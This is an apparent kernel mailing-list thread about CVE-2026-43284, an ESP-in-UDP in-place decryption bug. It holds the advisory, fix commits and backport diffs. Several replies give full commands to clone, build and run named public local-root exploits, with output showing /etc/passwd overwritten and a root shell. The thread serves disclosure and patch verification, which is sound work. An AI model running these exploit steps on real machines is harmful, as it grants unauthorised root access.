Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

[Massimiliano Pellizzer]

On Fri, May 8, 2026 at 9:24 AM Greg Kroah-Hartman
<gregkh@linuxfoundation.org> wrote:
>
> From: Greg Kroah-Hartman <gregkh@kernel.org>
>
> Description
> ===========
>
> In the Linux kernel, the following vulnerability has been resolved:
>
> xfrm: esp: avoid in-place decrypt on shared skb frags
>
> MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP
> marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(),
> so later paths that may modify packet data can first make a private
> copy. The IPv4/IPv6 datagram append paths did not set this flag when
> splicing pages into UDP skbs.
>
> That leaves an ESP-in-UDP packet made from shared pipe pages looking
> like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW
> fast path for uncloned skbs without a frag_list and decrypts in place
> over data that is not owned privately by the skb.
>
> Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching
> TCP. Also make ESP input fall back to skb_cow_data() when the flag is
> present, so ESP does not decrypt externally backed frags in place.
> Private nonlinear skb frags still use the existing fast path.
>
> This intentionally does not change ESP output. In esp_output_head(),
> the path that appends the ESP trailer to existing skb tailroom without
> calling skb_cow_data() is not reachable for nonlinear skbs:
> skb_tailroom() returns zero when skb->data_len is nonzero, while ESP
> tailen is positive. Thus ESP output will either use the separate
> destination-frag path or fall back to skb_cow_data().
>
> The Linux kernel CVE team has assigned CVE-2026-43284 to this issue.
>
>
> Affected and fixed versions
> ===========================
>
>         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.6.138 with commit 50ed1e7873100f77abad20fd31c51029bc49cd03
>         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.12.87 with commit b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
>         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.18.28 with commit 71a1d9d985d26716f74d21f18ee8cac821b06e97
>         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 7.0.5 with commit 52646cbd00e765a6db9c3afe9535f26218276034
>
> Please see https://www.kernel.org for a full list of currently supported
> kernel versions by the kernel community.
>
> Unaffected versions might change over time as fixes are backported to
> older supported kernel versions.  The official CVE entry at
>         https://cve.org/CVERecord/?id=CVE-2026-43284
> will be updated if fixes are backported, please check that for the most
> up to date information about this issue.
>
>
> Affected files
> ==============
>
> The file(s) affected by this issue are:
>         net/ipv4/esp4.c
>         net/ipv4/ip_output.c
>         net/ipv6/esp6.c
>         net/ipv6/ip6_output.c
>
>
> Mitigation
> ==========
>
> The Linux kernel CVE team recommends that you update to the latest
> stable kernel version for this, and many other bugfixes.  Individual
> changes are never tested alone, but rather are part of a larger kernel
> release.  Cherry-picking individual commits is not recommended or
> supported by the Linux kernel community at all.  If however, updating to
> the latest release is impossible, the individual changes to resolve this
> issue can be found at these commits:
>         https://git.kernel.org/stable/c/50ed1e7873100f77abad20fd31c51029bc49cd03
>         https://git.kernel.org/stable/c/b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
>         https://git.kernel.org/stable/c/71a1d9d985d26716f74d21f18ee8cac821b06e97
>         https://git.kernel.org/stable/c/52646cbd00e765a6db9c3afe9535f26218276034
>         https://git.kernel.org/stable/c/f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
>

I tested the publicly available exploit against the stable kernel 5.15.204.
That stable branch is affected too.

```
$ ./run.sh
=== Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
'sick::0:0:<pad>:/:/bin/bash'
=== Stage 2 — verify
sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
=== Stage 3 — su - sick (empty password via PAM nullok)
[i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
# whoami
root
# uname -r
5.15.204
```

Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

[Greg Kroah-Hartman]

On Fri, May 08, 2026 at 10:57:05AM +0200, Massimiliano Pellizzer wrote:
> On Fri, May 8, 2026 at 9:24 AM Greg Kroah-Hartman
> I tested the publicly available exploit against the stable kernel 5.15.204.
> That stable branch is affected too.
> 
> ```
> $ ./run.sh
> === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> 'sick::0:0:<pad>:/:/bin/bash'
> === Stage 2 — verify
> sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
> === Stage 3 — su - sick (empty password via PAM nullok)
> [i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
> # whoami
> root
> # uname -r
> 5.15.204
> ```
> 

Yes, patches for that are being worked on right now, give me a chance to
get some lunch :)

thanks,

greg k-h

Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

[Greg Kroah-Hartman]

On Fri, May 08, 2026 at 12:09:58PM +0200, Greg Kroah-Hartman wrote:
> On Fri, May 08, 2026 at 10:57:05AM +0200, Massimiliano Pellizzer wrote:
> > On Fri, May 8, 2026 at 9:24 AM Greg Kroah-Hartman
> > I tested the publicly available exploit against the stable kernel 5.15.204.
> > That stable branch is affected too.
> > 
> > ```
> > $ ./run.sh
> > === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> > 'sick::0:0:<pad>:/:/bin/bash'
> > === Stage 2 — verify
> > sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
> > === Stage 3 — su - sick (empty password via PAM nullok)
> > [i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
> > # whoami
> > root
> > # uname -r
> > 5.15.204
> > ```
> > 
> 
> Yes, patches for that are being worked on right now, give me a chance to
> get some lunch :)

Updates are now out for the other supported stable versions, and the CVE
entry is updated on cve.org.

thanks,

greg k-h

Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

[Tomasz Figa]

Hi Massimiliano,

On Fri, May 08, 2026 at 10:57:05AM +0200, Massimiliano Pellizzer wrote:
> On Fri, May 8, 2026 at 9:24 AM Greg Kroah-Hartman
> <gregkh@linuxfoundation.org> wrote:
> >
> > From: Greg Kroah-Hartman <gregkh@kernel.org>
> >
> > Description
> > ===========
> >
> > In the Linux kernel, the following vulnerability has been resolved:
> >
> > xfrm: esp: avoid in-place decrypt on shared skb frags
> >
> > MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP
> > marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(),
> > so later paths that may modify packet data can first make a private
> > copy. The IPv4/IPv6 datagram append paths did not set this flag when
> > splicing pages into UDP skbs.
> >
> > That leaves an ESP-in-UDP packet made from shared pipe pages looking
> > like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW
> > fast path for uncloned skbs without a frag_list and decrypts in place
> > over data that is not owned privately by the skb.
> >
> > Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching
> > TCP. Also make ESP input fall back to skb_cow_data() when the flag is
> > present, so ESP does not decrypt externally backed frags in place.
> > Private nonlinear skb frags still use the existing fast path.
> >
> > This intentionally does not change ESP output. In esp_output_head(),
> > the path that appends the ESP trailer to existing skb tailroom without
> > calling skb_cow_data() is not reachable for nonlinear skbs:
> > skb_tailroom() returns zero when skb->data_len is nonzero, while ESP
> > tailen is positive. Thus ESP output will either use the separate
> > destination-frag path or fall back to skb_cow_data().
> >
> > The Linux kernel CVE team has assigned CVE-2026-43284 to this issue.
> >
> >
> > Affected and fixed versions
> > ===========================
> >
> >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.6.138 with commit 50ed1e7873100f77abad20fd31c51029bc49cd03
> >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.12.87 with commit b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
> >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.18.28 with commit 71a1d9d985d26716f74d21f18ee8cac821b06e97
> >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 7.0.5 with commit 52646cbd00e765a6db9c3afe9535f26218276034
> >
> > Please see https://www.kernel.org for a full list of currently supported
> > kernel versions by the kernel community.
> >
> > Unaffected versions might change over time as fixes are backported to
> > older supported kernel versions.  The official CVE entry at
> >         https://cve.org/CVERecord/?id=CVE-2026-43284
> > will be updated if fixes are backported, please check that for the most
> > up to date information about this issue.
> >
> >
> > Affected files
> > ==============
> >
> > The file(s) affected by this issue are:
> >         net/ipv4/esp4.c
> >         net/ipv4/ip_output.c
> >         net/ipv6/esp6.c
> >         net/ipv6/ip6_output.c
> >
> >
> > Mitigation
> > ==========
> >
> > The Linux kernel CVE team recommends that you update to the latest
> > stable kernel version for this, and many other bugfixes.  Individual
> > changes are never tested alone, but rather are part of a larger kernel
> > release.  Cherry-picking individual commits is not recommended or
> > supported by the Linux kernel community at all.  If however, updating to
> > the latest release is impossible, the individual changes to resolve this
> > issue can be found at these commits:
> >         https://git.kernel.org/stable/c/50ed1e7873100f77abad20fd31c51029bc49cd03
> >         https://git.kernel.org/stable/c/b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
> >         https://git.kernel.org/stable/c/71a1d9d985d26716f74d21f18ee8cac821b06e97
> >         https://git.kernel.org/stable/c/52646cbd00e765a6db9c3afe9535f26218276034
> >         https://git.kernel.org/stable/c/f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
> >
> 
> I tested the publicly available exploit against the stable kernel 5.15.204.
> That stable branch is affected too.
> 
> ```
> $ ./run.sh
> === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> 'sick::0:0:<pad>:/:/bin/bash'
> === Stage 2 — verify
> sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
> === Stage 3 — su - sick (empty password via PAM nullok)
> [i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
> # whoami
> root
> # uname -r
> 5.15.204
> ```

First of all, thanks for testing. However, I don't see the support for
MSG_SPLICE_PAGES present in kernels 6.1 and older (i.e. 7da0dde68486
("ip, udp: Support MSG_SPLICE_PAGES") is not there in 6.1.y and older
stable branches).

Are you sure the PoC didn't fall back to the RxRPC Page-Cache Write
vulnerability in your case?

Besides that, looking at the backports to the kernels 6.1 and older,
they look very different compared to 6.6 and newer:

6.1

diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index 79cf1385e8d24..ec8279278deae 100644
@@ -1463,6 +1463,8 @@ ssize_t	ip_append_page(struct sock *sk, struct flowi4 *fl4, struct page *page,
 			goto error;
 		}
 
+		skb_shinfo(skb)->tx_flags |= SKBFL_SHARED_FRAG;
+
 		if (skb->ip_summed == CHECKSUM_NONE) {
 			__wsum csum;
 			csum = csum_page(page, offset, len);

6.6

diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index ff8040101193a..305d0e2786a2a 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -1230,6 +1230,8 @@ alloc_new_skb:
 			if (err < 0)
 				goto error;
 			copy = err;
+			if (!(flags & MSG_NO_SHARED_FRAGS))
+				skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;
 			wmem_alloc_delta += copy;
 		} else if (!zc) {
 			int i = skb_shinfo(skb)->nr_frags;

Note that in the 6.6 case the SKBFL_SHARED_FRAG is only set conditionally for
the MSG_SPLICE_PAGES case, but for in the 6.1 version it's set unconditionally
for any fragment. Is this expected?

Best,
Tomasz

Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

[Massimiliano Pellizzer]

On Sat, May 9, 2026 at 12:40 PM Tomasz Figa <tfiga@chromium.org> wrote:
>
> Hi Massimiliano,
>
> On Fri, May 08, 2026 at 10:57:05AM +0200, Massimiliano Pellizzer wrote:
> > On Fri, May 8, 2026 at 9:24 AM Greg Kroah-Hartman
> > <gregkh@linuxfoundation.org> wrote:
> > >
> > > From: Greg Kroah-Hartman <gregkh@kernel.org>
> > >
> > > Description
> > > ===========
> > >
> > > In the Linux kernel, the following vulnerability has been resolved:
> > >
> > > xfrm: esp: avoid in-place decrypt on shared skb frags
> > >
> > > MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP
> > > marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(),
> > > so later paths that may modify packet data can first make a private
> > > copy. The IPv4/IPv6 datagram append paths did not set this flag when
> > > splicing pages into UDP skbs.
> > >
> > > That leaves an ESP-in-UDP packet made from shared pipe pages looking
> > > like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW
> > > fast path for uncloned skbs without a frag_list and decrypts in place
> > > over data that is not owned privately by the skb.
> > >
> > > Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching
> > > TCP. Also make ESP input fall back to skb_cow_data() when the flag is
> > > present, so ESP does not decrypt externally backed frags in place.
> > > Private nonlinear skb frags still use the existing fast path.
> > >
> > > This intentionally does not change ESP output. In esp_output_head(),
> > > the path that appends the ESP trailer to existing skb tailroom without
> > > calling skb_cow_data() is not reachable for nonlinear skbs:
> > > skb_tailroom() returns zero when skb->data_len is nonzero, while ESP
> > > tailen is positive. Thus ESP output will either use the separate
> > > destination-frag path or fall back to skb_cow_data().
> > >
> > > The Linux kernel CVE team has assigned CVE-2026-43284 to this issue.
> > >
> > >
> > > Affected and fixed versions
> > > ===========================
> > >
> > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.6.138 with commit 50ed1e7873100f77abad20fd31c51029bc49cd03
> > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.12.87 with commit b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
> > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.18.28 with commit 71a1d9d985d26716f74d21f18ee8cac821b06e97
> > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 7.0.5 with commit 52646cbd00e765a6db9c3afe9535f26218276034
> > >
> > > Please see https://www.kernel.org for a full list of currently supported
> > > kernel versions by the kernel community.
> > >
> > > Unaffected versions might change over time as fixes are backported to
> > > older supported kernel versions.  The official CVE entry at
> > >         https://cve.org/CVERecord/?id=CVE-2026-43284
> > > will be updated if fixes are backported, please check that for the most
> > > up to date information about this issue.
> > >
> > >
> > > Affected files
> > > ==============
> > >
> > > The file(s) affected by this issue are:
> > >         net/ipv4/esp4.c
> > >         net/ipv4/ip_output.c
> > >         net/ipv6/esp6.c
> > >         net/ipv6/ip6_output.c
> > >
> > >
> > > Mitigation
> > > ==========
> > >
> > > The Linux kernel CVE team recommends that you update to the latest
> > > stable kernel version for this, and many other bugfixes.  Individual
> > > changes are never tested alone, but rather are part of a larger kernel
> > > release.  Cherry-picking individual commits is not recommended or
> > > supported by the Linux kernel community at all.  If however, updating to
> > > the latest release is impossible, the individual changes to resolve this
> > > issue can be found at these commits:
> > >         https://git.kernel.org/stable/c/50ed1e7873100f77abad20fd31c51029bc49cd03
> > >         https://git.kernel.org/stable/c/b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
> > >         https://git.kernel.org/stable/c/71a1d9d985d26716f74d21f18ee8cac821b06e97
> > >         https://git.kernel.org/stable/c/52646cbd00e765a6db9c3afe9535f26218276034
> > >         https://git.kernel.org/stable/c/f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
> > >
> >
> > I tested the publicly available exploit against the stable kernel 5.15.204.
> > That stable branch is affected too.
> >
> > ```
> > $ ./run.sh
> > === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> > 'sick::0:0:<pad>:/:/bin/bash'
> > === Stage 2 — verify
> > sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
> > === Stage 3 — su - sick (empty password via PAM nullok)
> > [i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
> > # whoami
> > root
> > # uname -r
> > 5.15.204
> > ```
>
> First of all, thanks for testing. However, I don't see the support for
> MSG_SPLICE_PAGES present in kernels 6.1 and older (i.e. 7da0dde68486
> ("ip, udp: Support MSG_SPLICE_PAGES") is not there in 6.1.y and older
> stable branches).
>
> Are you sure the PoC didn't fall back to the RxRPC Page-Cache Write
> vulnerability in your case?

Hello Tomasz,
In order to test stable branch 5.15.y I didn't use the dirtyfrag PoC,
I used copy-fail 2
(https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo),
which is targeting specifically the xfrm-ESP Page-Cache Write.

Here there is some more test results:
On kernel 5.15.204 (not fixed)
```
Dirty frag:
$ git clone https://github.com/V4bel/dirtyfrag.git
$ cd dirtyfrag
$ gcc -O0 -Wall -o exp exp.c -lutil
$ ./exp
# ROOT

CF2:
$ git clone https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
$ cd Copy_Fail2-Electric_Boogaloo
$ gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
$ gcc -O2 -Wall aa-rootns.c -o aa-rootns
$ chmod +x run.sh
$ ./run.sh
=== Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
'sick::0:0:<pad>:/:/bin/bash'
=== Stage 2 — verify
sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
=== Stage 3 — su - sick (empty password via PAM nullok)
[i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
# ROOT
```
On kernel 5.15.206 (esp side fixed)
```
Dirty frag:
$ git clone https://github.com/V4bel/dirtyfrag.giy
$ cd dirtyfrag
$ gcc -O0 -Wall -o exp exp.c -lutil
$ ./exp
# ROOT

CF2:
$ git clone https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
$ cd Copy_Fail2-Electric_Boogaloo
$ gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
$ gcc -O2 -Wall aa-rootns.c -o aa-rootns
$ chmod +x run.sh
$ ./run.sh
=== Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
'sick::0:0:<pad>:/:/bin/bash'
=== Stage 2 — verify
mutation didn't land
```

It is possible to notice that in kernel .206 the ESP only PoC didn't succeed,
while dirty frag still went through, because it used the rxrpc path.
The rxrpc part should be fixed by (not tested yet):
https://lore.kernel.org/all/ee897c82-d9c0-4b09-86e5-e34458b6341a@auristor.com/T/#u

I hope this can help.
Best,
Massimiliano

>
> Besides that, looking at the backports to the kernels 6.1 and older,
> they look very different compared to 6.6 and newer:
>
> 6.1
>
> diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
> index 79cf1385e8d24..ec8279278deae 100644
> @@ -1463,6 +1463,8 @@ ssize_t   ip_append_page(struct sock *sk, struct flowi4 *fl4, struct page *page,
>                         goto error;
>                 }
>
> +               skb_shinfo(skb)->tx_flags |= SKBFL_SHARED_FRAG;
> +
>                 if (skb->ip_summed == CHECKSUM_NONE) {
>                         __wsum csum;
>                         csum = csum_page(page, offset, len);
>
> 6.6
>
> diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
> index ff8040101193a..305d0e2786a2a 100644
> --- a/net/ipv4/ip_output.c
> +++ b/net/ipv4/ip_output.c
> @@ -1230,6 +1230,8 @@ alloc_new_skb:
>                         if (err < 0)
>                                 goto error;
>                         copy = err;
> +                       if (!(flags & MSG_NO_SHARED_FRAGS))
> +                               skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;
>                         wmem_alloc_delta += copy;
>                 } else if (!zc) {
>                         int i = skb_shinfo(skb)->nr_frags;
>
> Note that in the 6.6 case the SKBFL_SHARED_FRAG is only set conditionally for
> the MSG_SPLICE_PAGES case, but for in the 6.1 version it's set unconditionally
> for any fragment. Is this expected?
>
> Best,
> Tomasz

Re: CVE-2026-43284: xfrm: esp: avoid in-place decrypt on shared skb frags

[Tomasz Figa]

On Mon, May 11, 2026 at 12:31 AM Massimiliano Pellizzer
<mpellizzer.dev@gmail.com> wrote:
>
> On Sat, May 9, 2026 at 12:40 PM Tomasz Figa <tfiga@chromium.org> wrote:
> >
> > Hi Massimiliano,
> >
> > On Fri, May 08, 2026 at 10:57:05AM +0200, Massimiliano Pellizzer wrote:
> > > On Fri, May 8, 2026 at 9:24 AM Greg Kroah-Hartman
> > > <gregkh@linuxfoundation.org> wrote:
> > > >
> > > > From: Greg Kroah-Hartman <gregkh@kernel.org>
> > > >
> > > > Description
> > > > ===========
> > > >
> > > > In the Linux kernel, the following vulnerability has been resolved:
> > > >
> > > > xfrm: esp: avoid in-place decrypt on shared skb frags
> > > >
> > > > MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP
> > > > marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(),
> > > > so later paths that may modify packet data can first make a private
> > > > copy. The IPv4/IPv6 datagram append paths did not set this flag when
> > > > splicing pages into UDP skbs.
> > > >
> > > > That leaves an ESP-in-UDP packet made from shared pipe pages looking
> > > > like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW
> > > > fast path for uncloned skbs without a frag_list and decrypts in place
> > > > over data that is not owned privately by the skb.
> > > >
> > > > Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching
> > > > TCP. Also make ESP input fall back to skb_cow_data() when the flag is
> > > > present, so ESP does not decrypt externally backed frags in place.
> > > > Private nonlinear skb frags still use the existing fast path.
> > > >
> > > > This intentionally does not change ESP output. In esp_output_head(),
> > > > the path that appends the ESP trailer to existing skb tailroom without
> > > > calling skb_cow_data() is not reachable for nonlinear skbs:
> > > > skb_tailroom() returns zero when skb->data_len is nonzero, while ESP
> > > > tailen is positive. Thus ESP output will either use the separate
> > > > destination-frag path or fall back to skb_cow_data().
> > > >
> > > > The Linux kernel CVE team has assigned CVE-2026-43284 to this issue.
> > > >
> > > >
> > > > Affected and fixed versions
> > > > ===========================
> > > >
> > > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.6.138 with commit 50ed1e7873100f77abad20fd31c51029bc49cd03
> > > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.12.87 with commit b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
> > > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 6.18.28 with commit 71a1d9d985d26716f74d21f18ee8cac821b06e97
> > > >         Issue introduced in 6.5 with commit 7da0dde68486b2d5bd7c689a9b327b77efecdfd0 and fixed in 7.0.5 with commit 52646cbd00e765a6db9c3afe9535f26218276034
> > > >
> > > > Please see https://www.kernel.org for a full list of currently supported
> > > > kernel versions by the kernel community.
> > > >
> > > > Unaffected versions might change over time as fixes are backported to
> > > > older supported kernel versions.  The official CVE entry at
> > > >         https://cve.org/CVERecord/?id=CVE-2026-43284
> > > > will be updated if fixes are backported, please check that for the most
> > > > up to date information about this issue.
> > > >
> > > >
> > > > Affected files
> > > > ==============
> > > >
> > > > The file(s) affected by this issue are:
> > > >         net/ipv4/esp4.c
> > > >         net/ipv4/ip_output.c
> > > >         net/ipv6/esp6.c
> > > >         net/ipv6/ip6_output.c
> > > >
> > > >
> > > > Mitigation
> > > > ==========
> > > >
> > > > The Linux kernel CVE team recommends that you update to the latest
> > > > stable kernel version for this, and many other bugfixes.  Individual
> > > > changes are never tested alone, but rather are part of a larger kernel
> > > > release.  Cherry-picking individual commits is not recommended or
> > > > supported by the Linux kernel community at all.  If however, updating to
> > > > the latest release is impossible, the individual changes to resolve this
> > > > issue can be found at these commits:
> > > >         https://git.kernel.org/stable/c/50ed1e7873100f77abad20fd31c51029bc49cd03
> > > >         https://git.kernel.org/stable/c/b54edf1e9a3fd3491bdcb82a21f8d21315271e0d
> > > >         https://git.kernel.org/stable/c/71a1d9d985d26716f74d21f18ee8cac821b06e97
> > > >         https://git.kernel.org/stable/c/52646cbd00e765a6db9c3afe9535f26218276034
> > > >         https://git.kernel.org/stable/c/f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
> > > >
> > >
> > > I tested the publicly available exploit against the stable kernel 5.15.204.
> > > That stable branch is affected too.
> > >
> > > ```
> > > $ ./run.sh
> > > === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> > > 'sick::0:0:<pad>:/:/bin/bash'
> > > === Stage 2 — verify
> > > sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
> > > === Stage 3 — su - sick (empty password via PAM nullok)
> > > [i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
> > > # whoami
> > > root
> > > # uname -r
> > > 5.15.204
> > > ```
> >
> > First of all, thanks for testing. However, I don't see the support for
> > MSG_SPLICE_PAGES present in kernels 6.1 and older (i.e. 7da0dde68486
> > ("ip, udp: Support MSG_SPLICE_PAGES") is not there in 6.1.y and older
> > stable branches).
> >
> > Are you sure the PoC didn't fall back to the RxRPC Page-Cache Write
> > vulnerability in your case?
>
> Hello Tomasz,
> In order to test stable branch 5.15.y I didn't use the dirtyfrag PoC,
> I used copy-fail 2
> (https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo),
> which is targeting specifically the xfrm-ESP Page-Cache Write.
>
> Here there is some more test results:
> On kernel 5.15.204 (not fixed)
> ```
> Dirty frag:
> $ git clone https://github.com/V4bel/dirtyfrag.git
> $ cd dirtyfrag
> $ gcc -O0 -Wall -o exp exp.c -lutil
> $ ./exp
> # ROOT
>
> CF2:
> $ git clone https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
> $ cd Copy_Fail2-Electric_Boogaloo
> $ gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
> $ gcc -O2 -Wall aa-rootns.c -o aa-rootns
> $ chmod +x run.sh
> $ ./run.sh
> === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> 'sick::0:0:<pad>:/:/bin/bash'
> === Stage 2 — verify
> sick::0:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:/:/bin/bash
> === Stage 3 — su - sick (empty password via PAM nullok)
> [i] state saved to /var/tmp/.cf2.state — run './run.sh --clean' to revert
> # ROOT
> ```
> On kernel 5.15.206 (esp side fixed)
> ```
> Dirty frag:
> $ git clone https://github.com/V4bel/dirtyfrag.giy
> $ cd dirtyfrag
> $ gcc -O0 -Wall -o exp exp.c -lutil
> $ ./exp
> # ROOT
>
> CF2:
> $ git clone https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
> $ cd Copy_Fail2-Electric_Boogaloo
> $ gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
> $ gcc -O2 -Wall aa-rootns.c -o aa-rootns
> $ chmod +x run.sh
> $ ./run.sh
> === Stage 1 — overwrite 'systemd-timesync' line (89 bytes) with
> 'sick::0:0:<pad>:/:/bin/bash'
> === Stage 2 — verify
> mutation didn't land
> ```
>
> It is possible to notice that in kernel .206 the ESP only PoC didn't succeed,
> while dirty frag still went through, because it used the rxrpc path.
> The rxrpc part should be fixed by (not tested yet):
> https://lore.kernel.org/all/ee897c82-d9c0-4b09-86e5-e34458b6341a@auristor.com/T/#u
>
> I hope this can help.

Thanks a lot, Massimiliano. That's very helpful.

So it seems like there is a misunderstanding about which commit
originally introduced the vulnerability, since the "Affected and fixed
versions" section of the original report mentions commit 7da0dde6848,
which was only added in the 6.5 kernel.
Does this affect our understanding of the mechanics of this
vulnerabilty in any way, and our confidence that the fix fully
resolves it? (Especially in the ipv6 code path.)

Best,
Tomasz

> Best,
> Massimiliano
>
> >
> > Besides that, looking at the backports to the kernels 6.1 and older,
> > they look very different compared to 6.6 and newer:
> >
> > 6.1
> >
> > diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
> > index 79cf1385e8d24..ec8279278deae 100644
> > @@ -1463,6 +1463,8 @@ ssize_t   ip_append_page(struct sock *sk, struct flowi4 *fl4, struct page *page,
> >                         goto error;
> >                 }
> >
> > +               skb_shinfo(skb)->tx_flags |= SKBFL_SHARED_FRAG;
> > +
> >                 if (skb->ip_summed == CHECKSUM_NONE) {
> >                         __wsum csum;
> >                         csum = csum_page(page, offset, len);
> >
> > 6.6
> >
> > diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
> > index ff8040101193a..305d0e2786a2a 100644
> > --- a/net/ipv4/ip_output.c
> > +++ b/net/ipv4/ip_output.c
> > @@ -1230,6 +1230,8 @@ alloc_new_skb:
> >                         if (err < 0)
> >                                 goto error;
> >                         copy = err;
> > +                       if (!(flags & MSG_NO_SHARED_FRAGS))
> > +                               skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;
